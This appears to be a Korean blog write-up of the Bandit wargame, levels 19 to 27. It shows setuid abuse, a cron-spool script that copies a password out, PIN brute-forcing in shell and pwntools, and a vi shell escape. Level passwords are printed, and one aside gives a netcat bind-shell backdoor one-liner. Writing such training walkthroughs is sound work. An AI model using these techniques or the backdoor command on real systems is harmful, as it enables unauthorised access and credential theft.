Write-up

[bandit] bandit19 ~ bandit27

ch4rli3kop 2019. 2. 28. 22:00
반응형


bandit19 -> bandit20

To gain access to the next level, you should use the setuid binary in the homedirectory. Execute it without arguments to find out how to use it. The password for this level can be found in the usual place (/etc/bandit_pass), after you have used the setuid binary.

bandit19@bandit:~$ ls -al bandit20-do 
-rwsr-x--- 1 bandit20 bandit19 7296 Oct 16 14:00 bandit20-do

bandit19@bandit:~$ ./bandit20-do cat /etc/bandit_pass/bandit20
GbKksEFF4yrVs6il55v6gwY5aVje5f0j

superUser 권한이 설정되어 파일이 실행되는 도중만큼은 bandit20의 권한을 갖게 된다. 해당 권한을 갖고 bandit20의 password를 읽으면 클리어.

bandit20 -> bandit21

There is a setuid binary in the homedirectory that does the following: it makes a connection to localhost on the port you specify as a commandline argument. It then reads a line of text from the connection and compares it to the password in the previous level (bandit20). If the password is correct, it will transmit the password for the next level (bandit21).

NOTE: Try connecting to your own network daemon to see if it works as you think

bandit20@bandit:~$ nc -l -p 6666 < /etc/bandit_pass/bandit20 &
[1] 15278
bandit20@bandit:~$ ./suconnect 6666
Read: GbKksEFF4yrVs6il55v6gwY5aVje5f0j
Password matches, sending next password
gE269g2h3mw3pwgrj0Ha9Uoqen1c9DGr
[1]+ Done                    nc -l -p 6666 < /etc/bandit_pass/bandit20

첨에는 뭔소리지;; 하면서 헤맸는데, 자기가 직접 이전 패스워드를 돌려주는 데몬을 돌려서 연결하면 된다.

nc 명령어 옵션
-l           
listen mode, for inbound connects
-p
port/ local port number (port numbers can be individual or ranges: lo-hi [inclusive])
-e
filename/ specify filename to exec after connect (use with caution). See the  -c option for enhanced functionality.
e 옵션을 이용해서 백도어를 만들 수 있음! ex). nc -e /bin/sh -l -p 6666

bandit21 -> bandit22

A program is running automatically at regular intervals from cron, the time-based job scheduler. Look in /etc/cron.d/ for the configuration and see what command is being executed.

bandit21@bandit:~$ ls -al /etc/cron.d/
total 24
drwxr-xr-x  2 root root 4096 Oct 16 14:00 .
drwxr-xr-x 88 root root 4096 Oct 16 14:00 ..
-rw-r--r--  1 root root  120 Oct 16 14:00 cronjob_bandit22
-rw-r--r--  1 root root  122 Oct 16 14:00 cronjob_bandit23
-rw-r--r--  1 root root  120 Oct 16 14:00 cronjob_bandit24
-rw-r--r--  1 root root  102 Oct  7  2017 .placeholder
bandit21@bandit:~$ cat /etc/cron.d/cronjob_bandit22
@reboot bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null
* * * * * bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null
bandit21@bandit:~$ cat /usr/bin/cronjob_bandit22.sh
#!/bin/bash
chmod 644 /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
cat /etc/bandit_pass/bandit22 > /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
bandit21@bandit:~$ cat /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
Yk7owGAcWjwMVRwrTesJEwB7WVOiILLI

cron.d 디렉토리에 있는 파일들은 crontab으로 실행을 예약해놓은 파일들이다. 해당 위치의 파일들을 참조하여 예약된 시각에 정해진 행동을 수행한다. bandit22로 예약된 파일의 내용을 보면, cronjob_bandit22.sh 스크립트가 예약되어 있음을 알 수 있다. crontab의 man page(5)를 살펴보면, @reboot 이란 것은 시스템이 시작할 때마다, * * * * *은 시간 날짜 요일 불문이다. 결국 해당 스크립트는 실행이 이미 되었을 가능성이 높다. 해당 스크립트의 내용을 보면 bandit22의 패스워드를 /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv에 저장한다. 해당 파일을 읽으면 클리어.

man 5 crontab
      string         meaning
     ------         -------
    @reboot       Run once, at startup.
    @yearly       Run once a year, "0 0 1 1 *".
    @annually     (same as @yearly)
    @monthly       Run once a month, "0 0 1 * *".
    @weekly       Run once a week, "0 0 * * 0".
    @daily         Run once a day, "0 0 * * *".
    @midnight     (same as @daily)
    @hourly       Run once an hour, "0 * * * *".


# m h dom mon dow usercommand
17 * * * * root  cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#

bandit22 -> bandit23

A program is running automatically at regular intervals from cron, the time-based job scheduler. Look in /etc/cron.d/ for the configuration and see what command is being executed.

NOTE: Looking at shell scripts written by other people is a very useful skill. The script for this level is intentionally made easy to read. If you are having problems understanding what it does, try executing it to see the debug information it prints.

bandit22@bandit:~$ ls /etc/cron.d/
cronjob_bandit22 cronjob_bandit23 cronjob_bandit24
bandit22@bandit:~$ cat /etc/cron.d/cronjob_bandit23
@reboot bandit23 /usr/bin/cronjob_bandit23.sh &> /dev/null
* * * * * bandit23 /usr/bin/cronjob_bandit23.sh &> /dev/null
bandit22@bandit:~$ cat /usr/bin/cronjob_bandit23.sh
#!/bin/bash

myname=$(whoami)
mytarget=$(echo I am user $myname | md5sum | cut -d ' ' -f 1)

echo "Copying passwordfile /etc/bandit_pass/$myname to /tmp/$mytarget"

cat /etc/bandit_pass/$myname > /tmp/$mytarget
bandit22@bandit:~$ whoami
bandit22
bandit22@bandit:~$ echo "I am user bandit23" | md5sum | cut -d ' ' -f 1
8ca319486bfbbc3663ea0fbe81326349
bandit22@bandit:~$ cat /tmp/8ca319486bfbbc3663ea0fbe81326349
jc1udXuA1tiHqjIsL8yaapX5XIAI6i0n

앞선 문제와 마찬가지로 예약된 스크립트 cronjob_bandit23.sh를 살펴본다. myname값은 스크립트를 실행하는 주체가 bandit23이기 때문에 bandit23이며, mytarget 값은 "I am user bandit23"를 md5sum을 통해 해쉬 값을 산출해내고, md5sum의 결과 값이 '해쉬 값' + (공백) + '-' 이여서 cut 명령어를 통해, 공백 기준으로 나눴을 때, 처음으로 나오는 값, 즉 '해쉬 값'이 mytarget의 값이다. 따라서 해당 문자열의 해쉬 값을 이름으로 하는 /tmp 디렉토리의 파일을 읽으면 클리어.

cut 명령어 옵션
-d, --delimiter=DELIM
use DELIM instead of TAB for field delimiter

-f, --fields=LIST
select only these fields; also print any line that contains no delimiter character, unless the -s option is specified

bandit23 -> bandit24

A program is running automatically at regular intervals from cron, the time-based job scheduler. Look in /etc/cron.d/ for the configuration and see what command is being executed.

NOTE: This level requires you to create your own first shell-script. This is a very big step and you should be proud of yourself when you beat this level!

NOTE 2: Keep in mind that your shell script is removed once executed, so you may want to keep a copy around…

bandit23@bandit:~$ ls /etc/cron.d
cronjob_bandit22 cronjob_bandit23 cronjob_bandit24
bandit23@bandit:~$ cat /etc/cron.d/cronjob_bandit24
@reboot bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null
* * * * * bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null
bandit23@bandit:~$ cat /usr/bin/cronjob_bandit24.sh
#!/bin/bash

myname=$(whoami)

cd /var/spool/$myname
echo "Executing and deleting all scripts in /var/spool/$myname:"
for i in * .*;
do
   if [ "$i" != "." -a "$i" != ".." ];
   then
echo "Handling $i"
timeout -s 9 60 ./$i
rm -f ./$i
   fi
done

예약된 스크립트를 해석해보면 다음과 같다. 우선, /var/spool/bandit24 디렉토리로 이동한 뒤, 해당 공간에 존재하는 모든 스크립트들 중에서, 파일 이름이 "." 나 ".." 이 아닌 것들을 모두 timeout 명령어를 통해서 제한시간동안 실행시키고 난 뒤 삭제한다.

여기서 실행시키는 유저는 bandit24이므로 /etc/bandit_pass/bandit24 파일을 충분히 읽을 수 있다. 따라서, 해당 값을 읽어들인 뒤, 내가 읽을 수 있도록 /tmp 파일에 저장시키도록하는 스크립트를 짜서 실행시키도록 한다면 클리어.

/var/spool/bandit24/ 디렉토리에 다음과 같이 스크립트를 작성하도록 한다. tttt.sh 라는 이름으로 작성하였다.

bandit23@bandit:/var/spool/bandit24$ vim tttt.sh
#!/bin/bash

myname=$(whoami)

echo "Copying bandit24 passwd to /tmp/TTTT"

cat /etc/bandit_pass/bandit24 > /tmp/TTTT

잘 저장한 뒤, bandit24 유저 권한으로 실행될 수 있도록 파일의 권한을 수정해주어야 한다. chmod 명령어를 이용하여 대충 777로 준다. 하고 cronjob_bandit24.sh가 실행되길 기다리면 된다.

bandit23@bandit:/var/spool/bandit24$ chmod 777 tttt.sh
bandit23@bandit:/var/spool/bandit24$ ls -al tttt.sh
-rwxrwxrwx 1 bandit23 bandit23 118 Feb 28 02:51 tttt.sh
bandit23@bandit:/var/spool/bandit24$ ls -al tttt.sh
ls: cannot access 'tttt.sh': No such file or directory
bandit23@bandit:/var/spool/bandit24$ cat /tmp/TTTT
UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ

bandit24 -> bandit25

A daemon is listening on port 30002 and will give you the password for bandit25 if given the password for bandit24 and a secret numeric 4-digit pincode. There is no way to retrieve the pincode except by going through all of the 10000 combinations, called brute-forcing.

bandit24@bandit:/tmp/TT$ cat tttt.sh 
#!/bin/bash

b24Passwd="UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ"

for i in {0..9}{0..9}{0..9}{0..9}; do
echo $b24Passwd $i >> wordlist
done

bandit24@bandit:/tmp/TT$ cat wordlist | nc localhost 30002 > ./resp
bandit24@bandit:/tmp/TT$ grep -v Wrong ./resp
I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space.
Correct!
The password of user bandit25 is uNG9O58gUE7snukf3bvZ0rxhtnjzSGzG

Exiting.

자꾸 중간에 타임아웃이 걸려서 짜증났는데, 두 번정도 나누어서 하니까 됨. timeout 문제가 생기면 wordlist를 0000~5000, 5000~9999로 나누어서 시도해봅시다.

아래는 python script. 근데 너무너무 느림.

bandit24@bandit:/tmp/TT$ cat bf.py 
#!/usr/bin/python

from pwn import *

r = remote('127.0.0.1', 30002)

b24 = "UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ"
r.recvuntil('\n')
for i in range(5000, 10000):
   message = b24 + ' ' + str(i).zfill(4)
   print 'trying {}...'.format(message)
   r.sendline(message)
   resp = r.recvuntil('\n')
   if resp.find('Wrong') == -1 :
       break

r.interactive()

bandit24@bandit:/tmp/TT$ python bf.py
trying UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ 8561...
trying UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ 8562...
trying UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ 8563...
trying UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ 8564...
[*] Switching to interactive mode
The password of user bandit25 is uNG9O58gUE7snukf3bvZ0rxhtnjzSGzG

Exiting.
[*] Got EOF while reading in interactive
$  
grep 명령어 옵션
-v, --invert-match
  Invert the sense of matching, to select non-matching lines. (-v is specified by POSIX .)

bandit25 -> bandit26

Logging in to bandit26 from bandit25 should be fairly easy… The shell for user bandit26 is not /bin/bash, but something else. Find out what it is, how it works and how to break out of it.

bandit25의 홈 디렉토리에는 bandit26.sshkey가 존재한다. 해당 키로 그냥 접속하려고 하면 다음 화면과 같이 접속이 종료된다.

  _                     _ _ _   ___   __  
| |                   | (_) | |__ \ / /  
| |__   __ _ _ __   __| |_| |_   ) / /_  
| '_ \ / _` | '_ \ / _` | | __| / / '_ \
| |_) | (_| | | | | (_| | | |_ / /| (_) |
|_.__/ \__,_|_| |_|\__,_|_|\__|____\___/
Connection to localhost closed.

문제에서 bandit26이 /bin/bash 쉘을 사용하지 않는다고하니 뭐를 사용하는지 확인해본다. /etc/passwd 파일에 계정정보가 담겨있다.

bandit25@bandit:~$ cat /etc/passwd
...
bandit26:x:11026:11026:bandit level 26:/home/bandit26:/usr/bin/showtext
...

bandit25@bandit:~$ cat /usr/bin/showtext
#!/bin/sh

export TERM=linux

more ~/text.txt
exit 0

확인을 해보면, /bin/bash 대신 /usr/bin/showtext를 실행시키며, 해당 파일은 more로 /home/bandit26/text.txt 파일을 읽어준 뒤, 종료한다. bandit26 ascii art가 text.txt에 담겨있는 것 같다.

more는 vi 편집기를 기반으로 하며, 화면에 내용을 모두 표출시킨 뒤 종료된다. 다시말해, 화면에 내용이 다 표시되지 않도록 창의 높이를 낮게 위치시킨다면, bandit26의 권한으로 more가 실행 중인 상태에 진입할 수 있다. more가 실행 중인 상태에서 v를 누르면 vi에 진입할 수 있다.

vi의 콜론 모드에서 사용할 수 있는 명령어 중 r은 파일을 지정한 커서 위치에 삽입할 수 있는 기능이 있다. 해당 기능을 사용하여 /etc/bandit_pass/bandit26 파일을 삽입하여 패스워드를 알아낼 수 있다.

:r /etc/bandit_pass/bandit26
...
5czgV9L3Xx8JPOyRbXh6lQbmIOWvPT6Z
...

또한, vi에서는 특정 명령어를 실행할 수도 있고, 쉘을 지정하여 실행시킬 수 있는 기능을 가지고 있어, 기존 /usr/bin/showtext로 지정되어 있던 shell을 /bin/bash로 바꿔서 실행시킬 수도 있다.

:set shell ?
shell=/usr/bin/showtext

:set shell=/bin/bash
:shell
[No write since last change]
bandit26@bandit:~$ cat /etc/bandit_pass/bandit26
5czgV9L3Xx8JPOyRbXh6lQbmIOWvPT6Z
more 명령어
v         
Start up an editor at current line. The editor is taken from the environment variable VISUAL if defined,or EDITOR if VISUAL is not defined, or defaults to vi if neither VISUAL nor EDITOR is defined.

SHELL  
Current shell in use (normally set by the shell at login time).

VISUAL
The editor the user prefers. Invoked when command key v is pressed. EDITOR The editor of choice when VISUAL is not specified.

bandit26 -> bandit27

Good job getting a shell! Now hurry and grab the password for bandit27!

bandit26@bandit:~$ ls -al bandit27-do
-rwsr-x---  1 bandit27 bandit26 7296 Oct 16 14:00 bandit27-do

bandit26@bandit:~$ ./bandit27-do
Run a command as another user.
Example: ./bandit27-do id
 
bandit26@bandit:~$ ./bandit27-do cat /etc/bandit_pass/bandit27
3ba3118a22e93127a4ed485be72ef5ea

슈퍼유저 권한이 있다. 그냥 패스워드를 읽어버리면 된다. 문제 출제 의도를 잘 모르겠당;;


반응형

'Write-up' 카테고리의 다른 글

[Lord Of BufferOverFlow] 1 ~ 20 (CLEAR)  (0) 2019.03.21
[bandit] bandit27 ~ bandit33 (CLEAR)  (0) 2019.02.28
[bandit] bandit13 ~ bandit19  (0) 2019.02.27
[bandit] bandit0 ~ bandit13  (0) 2019.02.27
[CODEGATE2019] god-the-reum writeup  (0) 2019.02.09